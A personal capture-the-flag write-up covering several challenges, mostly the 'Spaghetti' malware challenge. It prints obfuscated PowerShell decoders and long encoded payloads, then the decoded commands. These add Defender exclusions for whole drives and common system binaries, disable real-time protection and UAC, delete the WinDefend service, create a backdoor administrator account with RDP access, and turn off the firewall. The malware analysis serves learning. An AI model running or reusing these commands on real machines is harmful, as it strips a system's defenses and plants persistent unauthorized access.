2025-10-02

# ๐Ÿ‘ถ OFA

image.png

Popup, entered 000000, said does not match 103289, typed in that code and viola

image.png

flag{013cb9b123afec26b572af5087364081}

image.png

# ๐Ÿง… See In The Dark

image.png

image.png

flag{a9d40962c465c571fe4edd288bf0f0b5}

#๐Ÿž Spaghetti

image.png

image.png

๐Ÿ—„spaghetti.zip323KB
flag{39544d3b5374ebf7d39b8c260fc4afd8}
flag{b313794dcef335da6206d54af81b6203}
flag{60814731f508781b9a5f8636c817af9d}

Flag #3

Somehow we got flag 3, then 2, then 1.

Inside the decoded spaghetti, we need $TDefo

FonatozQZ (Binary to ASCII Decoder):
This function takes a string of binary characters (0s and 1s), groups them into 8-bit chunks, and converts each chunk to an ASCII character.

Function FonatozQZ($monoTXtak) {
    $byTZlist = [System.Collections.Generic.List[Byte]]::new()
    for ($i = 0; $i -lt $monoTXtak.Length; $i +=8) {
        $byTZlist.Add([Convert]::ToByte([String] $monoTXtak.Substring($i, 8), 2))
    }
    return [System.Text.Encoding]::ASCII.GetString($byTZlist.ToArray())
}

HombaAmigo (Hex Decoder with Substitutions):
This function first replaces obfuscation characters and then performs a hexadecimal (base 16) conversion.

Function HombaAmigo([String] $IN) {
    $RunRBTX1 = $IN.Replace('~','000').Replace('%','4')
    $bytes = New-Object -TypeName byte[] -ArgumentList ($RunRBTX1.Length / 2)
    for ($i = 0; $i -lt $RunRBTX1.Length; $i += 2) {
        $bytes[$i / 2] = [Convert]::ToByte($RunRBTX1.Substring($i, 2), 16)
    }
    return [byte[]]$bytes
}
$TDefo = (FonatozQZ("~%~~~%~%%%~~~%%~~%%~%%~%~%~~%%~%~%%%~~~%~%~~~%%%~~%~~%%~~%~%~%%~~%%~~%%~~%~%~%%%~~%~~%%~~%~%~%%~%%%~~%%~~~%%~%%~~%~%~~%~~~~~%~%%~%~%~%~%~%%%%%%~~~%%~%%~%%~~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~%~~~%~%~%%%%%%%~%~~~%%~~%~%~%%~%%%~~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~~%~~~~~%~%~~~%~%%%~~%%%~~~~~%%%~~~~~%%%~%%~%%~%~~%~~~%~~~~~%~%~~%~~~%~%%%~~~%%~~%%~%%~%~%~~%%~%~%%%~~~%~%~~~%%%~~%~~%%~~%~%~%%~~%%~~%%~~%~%~%%%~~%~~%%~~%~%~%%~%%%~~%%~~~%%~%%~~%~%~~%~~~~~%~%%~%~%~%~%~%%%%%%~~~%%~%%~%%~~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~%~~~%~%~%%%%%%%~%~~~%%~~%~%~%%~%%%~~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~~%~~~~~%~%~~~%~%%%~~%%~~~%~~%%%~%%%~%%~~~%~~~%~%%~~~~~%~%%~~%~~~%%~~%~~%~%%~%~%%%~%~%%%~~~~~%~%~~~~~%%%~~%~~%%~~%~%~%%~~%%~~%%~~%~%~%%%~~%~~%%~~%~%~%%~%%%~~%%~~~%%~%%~~%~%~~%~~~%~%%~%~%~%~%~%%%%~~%%~~~%%~%%~%%~~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~%~~~%~%~%%%%~~%%%~%~%%~~%~%~%%~%%%~~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~~%~~~%~%~%~%%%~~%%%%~~%%%~%~~%~~~%~~~~~%~%~~%~~~%~%%%~~~%%~~%%~%%~%~%~~%%~%~%%%~~~%~%~~~%%%~~%~~%%~~%~%~%%~~%%~~%%~~%~%~%%%~~%~~%%~~%~%~%%~%%%~~%%~~~%%~%%~~%~%~~%~~~~~%~%%~%~%~%~%~%%%%%%~~~%%~%%~%%~~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~%~~~%~%~%%%%%%%~%~~~%%~~%~%~%%~%%%~~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~~%~~~~~%~%~~~%~%%%~~%%~~%~%~%%%%~~%%%~%%~%~~%~~~%~%%%~~~%%~~%%~%%~%~%~~%%~%~%%%~~~%~%~~~%%%~~%~~%%~~%~%~%%~~%%~~%%~~%~%~%%%~~%~~%%~~%~%~%%~%%%~~%%~~~%%~%%~~%~%~~%~~~~~%~%%~%~%~%~%~%%%%%%~~~%%~%%~%%~~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~%~~~%~%~%%%%%%%~%~~~%%~~%~%~%%~%%%~~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~~%~~~~~%~%~~%%~~%%~~%%~%%~~~%%%~%%~~%%%~%%%%~%%~~%%~%%~~~%%~~%%%~%%~~~%~~%%~%%%~%%%~~%%~~%%~~%%~~~%~%%~~%%~~~%%~%~%~~%%~~%%%~%%~%%%~~%%%~~~%%~%~%%~~~%~~~%%%~~%~%%~~%%%~%~%~%%~~%%~~~%%%~~~~~%%~%%~~~%%~~%%~~%%~%%~~%%~~~%%~~%%%~~~~~%%~~~%~~%%~%%%~%%%~%%~~%%~~~%%%~~%~%%~~%~~~%%%%%~%~~%~~~%~~~%~%%~~~~~%~%%~~%~~~%%~~%~~%~%%~%~%%%~%~%%%~~~~~%~%~~~~~%%%~~%~~%%~~%~%~%%~~%%~~%%~~%~%~%%%~~%~~%%~~%~%~%%~%%%~~%%~~~%%~%%~~%~%~~%~~~%~%%~%~%~%~%~%%%%~~%%~~~%%~%%~%%~~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~%~%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%%~~%~%~%%%~~%%~%%%~~%%~~%~~%%~%~%~%%%%%%%~~~~~%%~%%~~~%%~%%%%~%%%~~%~~%%~~%~%~%%%~~%~~~%~%%%~~%%~~%~%~%%%%%%~~%~%~~%~%%~~~~~%~%%~~%~~~%%~~%~~%~%%~%~%%%~%~%%%%~%~~~%%%~~%~~%%~~%~%~%%~~%%~~%%~~%~%~%%%~~%~~%%~~%~%~%%~%%%~~%%~~~%%~%%~~%~%~~%~~~~~%~%%~%~%~%~%~%%%%%%~~~%%~%%~%%~~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~%~%~~~%%%%~~%%~%%%%~%%~~~%%~%%~~%~%~%%%~~%%~%%%~~%%~~%%%~%~%%~%%%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%%%~~%%~~%%~~%~~~%~%%%~~%%~~%~~~%%~%%~~~%%~%%%~%%~~~~~%~%%~~%~~~%%~~%~~%~%%~%~%%%~%~%%%~~~~~%~%~~~~~%%%~~%~~%%~~%~%~%%~~%%~~%%~~%~%~%%%~~%~~%%~~%~%~%%~%%%~~%%~~~%%~%%~~%~%~~%~~~%~%%~%~%~%~%~%%%%~~%%~~~%%~%%~%%~~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~%~%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%%~~%~%~%%%~~%%~%%%~~%%~~%~~%~%~%%~~%~%~%%~~%%~~%%~~%~%~%%~%%%~~%%~~%~~~%%~~%~%~%%%~~%~~%%~%~~%~%%%~~%%~%%%~%%~~~%~~%%~%%~~~%%~~%~%~%~%~~%%~%%~~~%%~%%%~~%~~%%~%%%%~%%%~~~~~%%~~%~%~%%%~~%~~%%%~%~~~%%%%~~%~~%~~~~~%~%%~%~%~%~~~%%~~%~%%%~%~%%~%~~~~~%%%%~~%~%%~%~~%%~~~%~~%%~%~~%%%~%~~%~%~~%%~%%~%%%%~%%~~%%~~%%%~%~~~%%%~%%%~%%%~%%%~~%~~%%~~%~%~%~%%%~~~%~~%%~%~%%~%~~%~%%~~~%%~%%%~~%~~%%~%%%%~%%%~~%%~%%~%%%%~%%~~%%~~%%%~%~~~%~%%%~~~%~%~%%%~%%~%~~%~%%~%%%~~%%~~%~~~%%~%%%%~%%%~%%%~%%%~~%%~%~%%%~~~%%%~%%%~%~%~%%%~~%~~%%%~~%%~~%~~%%~~%~%~%%~%%%~~%%%~%~~~%~%~%%~~%%~~%~%~%%%~~%~~%%%~~%%~%%~%~~%~%%~%%%%~%%~%%%~~%~%%%~~~%%%~~~~~%%~%%%%~%%~%%~~~%%~%~~%~%%~~~%%~%%~%~~%~%%~~%~%~%%%~~%%~%~%%%~~~%%%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%~~%~~~~~%~%%~%%~%%%~%~~~%%~~%~%~%%~%%%%~%%~~%%%~~~%~%%%~~%~~%~%~~%%~%%~~~%%~%%~~%~%~%%%~~%%~%%%~~%%~~%%%%%%~%%~~%~%~%%%~%~~%%%%~%%~%%~~~%%~%%~~~%%%~~~~~%%%~~%~~%%~%%%%~%%~~%%~~%%~%~~%~%%~%%~~~%%~~%~%~%%%~~%%~~%~~%%%%%~%%%~%~%%%~%%%~%~~~%%~~%~%~~%~~%%~%%%%~%%%%%%~~%%~~~~%~%~".Replace('~','0').Replace('%','1'))
010000010110010001100100001011010100110101110000010100000111001001100101011001100110010101110010011001010110111001100011011001010010000000101101010001010111100001100011011011000111010101110011011010010110111101101110010001010111100001110100011001010110111001110011011010010110111101101110001000000010001000101110011100000111000001100001011011010010001000001010010000010110010001100100001011010100110101110000010100000111001001100101011001100110010101110010011001010110111001100011011001010010000000101101010001010111100001100011011011000111010101110011011010010110111101101110010001010111100001110100011001010110111001110011011010010110111101101110001000000010001000101110011000100110000101110100001000100000101001000001011001000110010000101101010011010111000001010000011100100110010101100110011001010111001001100101011011100110001101100101001000000010110101000101011110000110001101101100011101010111001101101001011011110110111001000101011110000111010001100101011011100111001101101001011011110110111000100000001000100010111001111000011001010010001000001010010000010110010001100100001011010100110101110000010100000111001001100101011001100110010101110010011001010110111001100011011001010010000000101101010001010111100001100011011011000111010101110011011010010110111101101110010001010111100001110100011001010110111001110011011010010110111101101110001000000010001000101110011001010111100001100101000010100100000101100100011001000010110101001101011100000101000001110010011001010110011001100101011100100110010101101110011000110110010100100000001011010100010101111000011000110110110001110101011100110110100101101111011011100100010101111000011101000110010101101110011100110110100101101111011011100010000000100010011001100110110001100001011001110111101100110110001100000011100000110001001101000011011100110011001100010110011000110101001100000011100000110111001110000011000101100010001110010110000100110101011001100011100000110110001100110011011001100011001110000011000100110111011000010110011000111001011001000111110100100010000010100100000101100100011001000010110101001101011100000101000001110010011001010110011001100101011100100110010101101110011000110110010100100000001011010100010101111000011000110110110001110101011100110110100101101111011011100101000001110010011011110110001101100101011100110111001100100000011010101111000011100000110110001101111011100100110010101110010001011100110010101111000011001010000101001000001011001000110010000101101010011010111000000101000001110010011001010110011001100101011100100110010101101110011000110110010100100000001011010100010101111000011000110110110001110101011100110110100101101111011011100101000001110010011011110110001101100101011100110111001100100000011010110110010101110010011011100110010101101100001100110011001000101110011001000110110001101100000010100100000101100100011001000010110101001101011100000101000001110010011001010110011001100101011100100110010101101110011000110110010100100000001011010100010101111000011000110110110001110101011100110110100101101111011011100101000001110010011011110110001101100101011100110111001100100000010001000110010101100110011001010110111001100100011001010111001001101001011100110110000101100010011011000110010101010011011000110111001001101111011100000110010101110010011101000111100100100000001011010101000001100001011101000110100000100000010010000100101101001100010011010011101001010011011011110110011001110100011101110110000101110010011001010101110001001101011010010110001101110010011011110111001101101111011001100111010001011100010101110110100101101110011001000110111101110111011100110101110001000011011101010111001001110011001001100101011011100111010001010110011001010111001001110011011010010110111101101110010111000111000001101111011011000110100101100011011010010110010101110011010111000111001101111001011100110111010001100101011011010010100100000101101101110100011001010110111101100111000101110010010100110110001101100101011100110111001100100000011100110110010101110100001000000110000101101100011011000111000001110010011011110110011001101001011011000110010101110011001000000111001101110100011000010111010001100101001000000110111101100110011001100001010
$TDefo = (FonatozQZ("010000010110010001100100001011010100110101110000010100000111001001100101011001100110010101110010011001010110111001100011011001010010000000101101010001010111100001100011011011000111010101110011011010010110111101101110010001010111100001110100011001010110111001110011011010010110111101101110001000000010001000101110011100000111000001100001011011010010001000001010010000010110010001100100001011010100110101110000010100000111001001100101011001100110010101110010011001010110111001100011011001010010000000101101010001010111100001100011011011000111010101110011011010010110111101101110010001010111100001110100011001010110111001110011011010010110111101101110001000000010001000101110011000100110000101110100001000100000101001000001011001000110010000101101010011010111000001010000011100100110010101100110011001010111001001100101011011100110001101100101001000000010110101000101011110000110001101101100011101010111001101101001011011110110111001000101011110000111010001100101011011100111001101101001011011110110111000100000001000100010111001111000011001010010001000001010010000010110010001100100001011010100110101110000010100000111001001100101011001100110010101110010011001010110111001100011011001010010000000101101010001010111100001100011011011000111010101110011011010010110111101101110010001010111100001110100011001010110111001110011011010010110111101101110001000000010001000101110011001010111100001100101000010100100000101100100011001000010110101001101011100000101000001110010011001010110011001100101011100100110010101101110011000110110010100100000001011010100010101111000011000110110110001110101011100110110100101101111011011100100010101111000011101000110010101101110011100110110100101101111011011100010000000100010011001100110110001100001011001110111101100110110001100000011100000110001001101000011011100110011001100010110011000110101001100000011100000110111001110000011000101100010001110010110000100110101011001100011100000110110001100110011011001100011001110000011000100110111011000010110011000111001011001000111110100100010000010100100000101100100011001000010110101001101011100000101000001110010011001010110011001100101011100100110010101101110011000110110010100100000001011010100010101111000011000110110110001110101011100110110100101101111011011100101000001110010011011110110001101100101011100110111001100100000011010101111000011100000110110001101111011100100110010101110010001011100110010101111000011001010000101001000001011001000110010000101101010011010111000000101000001110010011001010110011001100101011100100110010101101110011000110110010100100000001011010100010101111000011000110110110001110101011100110110100101101111011011100101000001110010011011110110001101100101011100110111001100100000011010110110010101110010011011100110010101101100001100110011001000101110011001000110110001101100000010100100000101100100011001000010110101001101011100000101000001110010011001010110011001100101011100100110010101101110011000110110010100100000001011010100010101111000011000110110110001110101011100110110100101101111011011100101000001110010011011110110001101100101011100110111001100100000010001000110010101100110011001010110111001100100011001010111001001101001011100110110000101100010011011000110010101010011011000110111001001101111011100000110010101110010011101000111100100100000001011010101000001100001011101000110100000100000010010000100101101001100010011010011101001010011011011110110011001110100011101110110000101110010011001010101110001001101011010010110001101110010011011110111001101101111011001100111010001011100010101110110100101101110011001000110111101110111011100110101110001000011011101010111001001110011001001100101011011100111010001010110011001010111001001110011011010010110111101101110010111000111000001101111011011000110100101100011011010010110010101110011010111000111001101111001011100110111010001100101011011010010100100000101101101110100011001010110111101100111000101110010010100110110001101100101011100110111001100100000011100110110010101110100001000000110000101101100011011000111000001110010011011110110011001101001011011000110010101110011001000000111001101110100011000010111010001100101001000000110111101100110011001100001010".Replace('0','0').Replace('1','1'))
Add-MpPreference -ExclusionExtension ".bat"
Add-MpPreference -ExclusionExtension ".ppam"
Add-MpPreference -ExclusionExtension ".xls"
Add-MpPreference -ExclusionExtension ".bat"
Add-MpPreference -ExclusionExtension ".exe"
Add-MpPreference -ExclusionExtension ".vbs"
Add-MpPreference -ExclusionExtension ".js"
Add-MpPreference -ExclusionPath  C:\
Add-MpPreference -ExclusionPath  D:\
Add-MpPreference -ExclusionPath  E:\
Add-MpPreference -ExclusionPath  C:\ProgramData\MEMEMAN\
# Add-MpPreference -ExclusionExtension "flag{60814731f508781b9a5f8636c817af9d}"
Add-MpPreference -ExclusionProcess explorer.exe
Add-MpPreference -ExclusionProcess kernel32.dll
Add-MpPreference -ExclusionProcess aspnet_compiler.exe
Add-MpPreference -ExclusionProcess cvtres.exe
Add-MpPreference -ExclusionProcess CasPol.exe
Add-MpPreference -ExclusionProcess csc.exe
Add-MpPreference -ExclusionProcess Msbuild.exe
Add-MpPreference -ExclusionProcess ilasm.exe
Add-MpPreference -ExclusionProcess InstallUtil.exe
Add-MpPreference -ExclusionProcess jsc.exe
Add-MpPreference -ExclusionProcess Calc.exe
Add-MpPreference -ExclusionProcess powershell.exe
Add-MpPreference -ExclusionProcess rundll32.exe
Add-MpPreference -ExclusionProcess mshta.exe
Add-MpPreference -ExclusionProcess cmd.exe
Add-MpPreference -ExclusionProcess DefenderisasuckingAntivirus
Add-MpPreference -ExclusionProcess wscript.exe
Add-MpPreference -ExclusionIpAddress 127.0.0.1
Add-MpPreference -ThreatIDDefaultAction_Actions 6
Add-MpPreference -AttackSurfaceReductionRules_Ids 0
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Set-MpPreference -EnableControlledFolderAccess Disabled
Set-MpPreference -PUAProtection disable
Set-MpPreference -HighThreatDefaultAction 6 -Force
Set-MpPreference -ModerateThreatDefaultAction 6
Set-MpPreference -LowThreatDefaultAction 6
Set-MpPreference -SevereThreatDefaultAction 6
Set-MpPreference -ScanScheduleDay 8
New-Ipublicroperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
Stop-Service -Name WinDefend -Confirm:$false -Force
Set-Service -Name WinDefend -StartupType Disabled
net user System32 /add                                                                           
net user System32 123
net localgroup administrators System32 /add
net localgroup "Remote Desktop Users" System32 /add
net stop WinDefend
net stop WdNisSvc
sc delete windefend
netsh advfirewall set allprofiles state off

image.png

flag{60814731f508781b9a5f8636c817af9d}

Flag #2

The data from the oasis function, wrote some scripts to output, didn't work great but did get my output I needed, at the end a simple replace, so just used that in cyberchef
.Replace('~','0').Replace('%','1')))', we need $MyOasis4

image.png

$MyOasis4 = (FonatozQZ("~%%%~~%%~%%%~%~~~%%~~~~%~%%%~~%~~%%%~%~~~~%~%%~%~%%%~~%%~%%~%%~~~%%~~%~%~%%~~%~%~%%%~~~~~~%~~~~~~~%%~~%~~~%%~~%%~~~~%~%~~~%~~~%%~~%~~~~~~%~~~%~~~%%~%~~%~%%%~~%%~%%~~~~%~%%~~~%~~%%~%%~~~%%~~%~%~~%~~~~~~%~%~~%%~%%~~~%%~%%%~~%~~%%~%~~%~%%%~~~~~%%%~%~~~~%~~~~~~%~~%%~~~%%~%%%%~%%~~%%%~%%~~%%%~%%~%~~%~%%~%%%~~%%~~%%%~~%%%~%~~~~~%~%~~~%~~%~~~%%%~~%%~%%~~%~%~%%%~%~~~%%%~%~~~%%~%~~%~%%~%%%~~%%~~%%%~%%%~~%%~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%~~%~~%%~~%~%~%%~~%%~~%~%%%~%~~%~%%%~~%~~~~~%~%%%~~%%~%%%~~%%~%%~~%~%~%%~%%~%~%%~~~%~~%%~%%~~~%%%%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~%~~~%%%%~~%~%%%~~~~~%%~~%~%~~%~%~~~~~%~~~%~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~~%%~%~%%~~~~%~%%~%%%~~%%~~~~%~%%~~%%%~%%~~%~%~%%~%%~%~%%~~%~%~%%~%%%~~%%%~%~~~~%~%%%~~%~~~~~%~%%%~%~%~%%%~%~~~%%~%%%%~%%~%%~%~%%~~~~%~%%%~%~~~%%~%~~%~%%~%%%%~%%~%%%~~~%~%%%~~%~%~%~%~%%%~%~~~%%~%~~%~%%~%%~~~%%%~~%%~~%~~~%~~~%~%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~~~%%~~%%~%~~%~%%~~%~%~%%~%%~~~%%~~%~~~~%~%~~~~~%~~~%~~%%~~~%%~%%~~~~%~%%~~~%%~%%~%~~~~%%~~%~%~%%~~%~~~%~~~%%%~%%%~~%~~%%~%%%%~%%%~%~%~%%%~~~~~%~%~~~~~%%~%%%%~%%~%%~~~%%~%~~%~%%~~~%%~%%%%~~%~%~%~~%%~%%~~%~%~%%%~%~~~%%%~%~~~%%~%~~%~%%~%%%~~%%~~%%%~%%%~~%%~~%~~~%~~~%~%%~~~~%~~~%~~%~~%%%~~%%~%%%%~%%~%%%~~%~%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~%%~~~%~%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~%~~~%~%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~%%~~%%~~~~%~%%~%%~~~%%%~%~%~%%~~%~%~~%~%~~~~~%~~%~~~%%~%%%~~%%%~%~%~%%~%%~~~%%~%%~~~~%~%~~%~~%%%~%%~~~~%~%~~~%~~%~~~%%%~~%%~%%~~%~%~%%%~%~~~%%%~%~~~%%~%~~%~%%~%%%~~%%~~%%%~%%%~~%%~%~%%~%%~~%~~~%~~%~~%~~~~%~~%~%%~%~~~%~%~%~%%~~%~%~%%%%%~%~~%%~~~%~~%%%%~%~~~~%%~%~~~~~%~%~~%%~~~%~%%%%%~%~~%%~%~%~~~~~%~%~~~~%%~%~~%~~~~%~~%~~%~%~~%%%~~%~~~%~%~%~%%%~~~%~%~~%%~%%~%%%%~%%~~%%~~%%%~%~~~%%%~%%%~%%~~~~%~%%%~~%~~%%~~%~%~%~%%%~~~%~%~~~~~%%~%%%%~%%~%%~~~%%~%~~%~%%~~~%%~%%~%~~%~%%~~%~%~%%%~~%%~%~%%%~~~%~~%%~%~%%~%~~%~%%~~~%%~%%%~~%~~%%~%%%%~%%%~~%%~%%~%%%%~%%~~%%~~%%%~%~~~%~%%%~~~%~%~%%%~%%~%~~%~%%~%%%~~%%~~%~~~%%~%%%%~%%%~%%%~%%%~~%%~%~%%%~~~%~%~~~~~%%~%%%%~%%%~%%%~%%~~%~%~%%%~~%~~%~%~~%%~%%~%~~~~%%~~%~%~%%~%%~~~%%~%%~~~%~%%%~~~%~%~~%%~%%~~~%%~%%%~~%~~%%~%~~%~%%%~~~~~%%%~%~~~%~~~~%~~%%~%%~~~%%~%%%%~%%~~~%%~%%~%~%%~%~~%%~~~%%~%%%%~%%~~%%%~%%~~%%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~%~~%~%%%~%~~%~~~~~~~%%%%~%~~%~~~~~~%~~~~~~~%%%%~%%~%%%%%~%~~~~%~%~~~%~~%~~~%%%~~%%~%%~~%~%~%%%~%~~~%%%~%~~~%%~%~~%~%%~%%%~~%%~~%%%~%%%~~%%~%~%%~%%~~%~~~%~~%~~%~~~~%~~%~%%~%~~~%~%~%~%%~~%~%~%%%%%~%~~%%~~~%~~%%%%~%~~~~%%~%~~~~~%~%~~%%~~~%~%%%%%~%~~%%~%~%~~~~~%~%~~~~%%~%~~%~~~~%~~%~~%~%~~%%%~~%~~~%~%~%~%%%~~~%~%~~%%~%%~%%%%~%%~~%%~~%%%~%~~~%%%~%%%~%%~~~~%~%%%~~%~~%%~~%~%~%~%%%~~~%~%~~~~~%%~%%%%~%%~%%~~~%%~%~~%~%%~~~%%~%%~%~~%~%%~~%~%~%%%~~%%~%~%%%~~~%~~%%~%~%%~%~~%~%%~~~%%~%%%~~%~~%%~%%%%~%%%~~%%~%%~%%%%~%%~~%%~~%%%~%~~~%~%%%~~~%~%~%%%~%%~%~~%~%%~%%%~~%%~~%~~~%%~%%%%~%%%~%%%~%%%~~%%~%~%%%~~~%~%~~~~~%%~%%%%~%%%~%%%~%%~~%~%~%%%~~%~~%~%~~%%~%%~%~~~~%%~~%~%~%%~%%~~~%%~%%~~~%~%%%~~~%~%~~%%~%%~~~%%~%%%~~%~~%%~%~~%~%%%~~~~~%%%~%~~~%~~~~%~~%%~%%~~~%%~%%%%~%%~~~%%~%%~%~%%~%~~%%~~~%%~%%%%~%%~~%%%~%%~~%%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~%~~%~%%%~%~~%~%%%~~%~~~~~%~%%~~%~~~%%~~%~~~~%~%~~~~~%~~~%~~%~~~%~%~%%~%%%~~%%~~~~%~%%~~~%~~%%~%%~~~%%~~%~%~%~%~~%%~%%~~~%%~%%%~~%~~%%~%~~%~%%%~~~~~%%%~%~~~%~~~~%~~%%~%%~~~%%~%%%%~%%~~~%%~%%~%~%%~%~~%%~~~%%~%%%%~%%~~%%%~%%~~%%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~%~~~%~%%~~~~%~~~~~~~%~~~%~~~%%~~~~~~%~~~%~~~%~%~~%~~~~%~%~~~~~%~%~~~%~~~%%~~%~~~~~~%~~%%~%~%%~~~~%~%%%~%~~~%%%~%~~~~%~~~~~~%~~~%%%~%%%~~%~~%%~~~~%~%%~~%~%~%%~~~%~~%%~~%~%~%%%~~%~~%%%~~%%~~%~~~~~~%~%~~%~~%%~~%~%~%%~~%%~~%%~%%~~~%%~~%~%~%%~~~%%~%%%~%~~~%%~%~~%~%%~%%%%~%%~%%%~~~%~~~~~~%%~%%~%~%%~~%~%~%%%~%~~~%%~%~~~~%%~%%%%~%%~~%~~~~%%%~%~~~~~%~%~~%~%%~%%~%~%~~%~~%%~~%~%~%%~~%%~~%~%%%~%~~%~%%%~~%~~~~~%~%%%~~%%~%%%~~%%~%%~~%~%~%%~%%~%~%%~~~%~~%%~%%~~~%%%%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~%~~~%%%%~~%~%%%~~~~~%%~~%~%~~%~%~~~~~%~~%%%~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~~%%~%~%%~~~~%~%%~%%%~~%%~~~~%~%%~~%%%~%%~~%~%~%%~%%~%~%%~~%~%~%%~%%%~~%%%~%~~~~%~%%%~~%~~~~~%~%%%~%~%~%%%~%~~~%%~%%%%~%%~%%~%~%%~~~~%~%%%~%~~~%%~%~~%~%%~%%%%~%%~%%%~~~%~%%%~~%~~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~%~%~%~%~%%%~%~~~%%~%~~%~%%~%%~~~%%%~~%%~~%~~%%%~~%~%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~~~%%~~%%~%~~%~%%~~%~%~%%~%%~~~%%~~%~~~~%~%~~~~~%~~%%%~%%~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~%~~%~~%~%%~%%%~~%%~%~~%~%%%~%~~~%~~~%%~~%%~~~~%~%%~%~~%~%%~%%~~~%%~~%~%~%%~~%~~~~%~~%%%~~%~%%~~~~%~~%%%~%~~%%%~~%%~%%%%~%%~%%%~~%~%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~%%~~~%~%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~%%%~~%~%~~%~~%~%%%~~%~%~~%%~%%~~%~%~%%%~%~~~%~%~%%~~%%~~~~%~%%~%%~~~%%%~%~%~%%~~%~%~~%~%~~~~~%~~%~~~%%~%%%~~%%%~%~%~%%~%%~~~%%~%%~~~~%~%%~~~~%~~%~~~%%%~%~~~%%%~~%~~%%%~%~%~%%~~%~%~~%~%~~%~~~~%~%~~~~~%~%~~~%~~~%%~~%~~~~~~%~~~%%~~%%~%%%%~%%%~~%~~%%~~~%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%%~~~~%~%%~%%%~~~%~~~~~~%%~~%~%~%%%~~%~~%%%~~%~~%%~%%%%~%%%~~%~~~%%%~%~~~~~%~%~~~%~~%~~~%%~%%~%~%%~~%~%~%%~%%~%~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~%~~%~~%%%~%~%~%%~%%%~~%%%~%~~~%%~%~~%~%%~%%~%~%%~~%~%~~%~%%%~~%~~%~~%~%%~%%%~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%%~%%%~~~~~%~%~~%%~%%~~%~%~%%%~~%~~%%%~%%~~%%~%~~%~%%~~~%%~%%~~%~%~%%%~~%%~~%~%%%~~%~~%%~%~%%~~~~%~%%%~~%~~%%%~~%%~%%~%~~~~%%~~~~%~%%~%%~~~%~%%%~%~~%%%~%~~~%%%~%~~%~~~~~%~%%~%%~~~%%~%%~~~%%~%%%%~%%~~~%%~%~~%~~~~%~~~%%%~%%~%%~~~%%~%%%%~%%~~~%~~%%~~~~%~%%~%%~~~~%~%~~~~~%%%~~%~~%%~~~~~~%%~%%%~~%%~%%~~~%~%~~%~~~~%~%~~%~%%~%%~%~%~~%~~%%~~%~%~%%~~%%~~%~%%%~%~~%~%%%~~%~~~~~%~%%%~~%%~%%%~~%%~%%~~%~%~%%~%%~%~%%~~~%~~%%~%%~~~%%%%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~%~~~%%%%~~%~%%%~~~~~%%~~%~%~~%~%~~~~~%~~~%~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~~%%~%~%%~~~~%~%%~%%%~~%%~~~~%~%%~~%%%~%%~~%~%~%%~%%~%~%%~~%~%~%%~%%%~~%%%~%~~~~%~%%%~~%~~~~~%~%%%~%~%~%%%~%~~~%%~%%%%~%%~%%~%~%%~~~~%~%%%~%~~~%%~%~~%~%%~%%%%~%%~%%%~~~%~%%%~~%~~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~%~%~%~%~%%%~%~~~%%~%~~%~%%~%%~~~%%%~~%%~~%~~~%~~~%~%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~~~%%~~%%~%~~%~%%~~%~%~%%~%%~~~%%~~%~~~~%~%~~~~~%~~~%~~%%~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~%~%~~%%~%%~~%~%~%%%~~%%~%%%~~%%~%%~%~~%~%%~%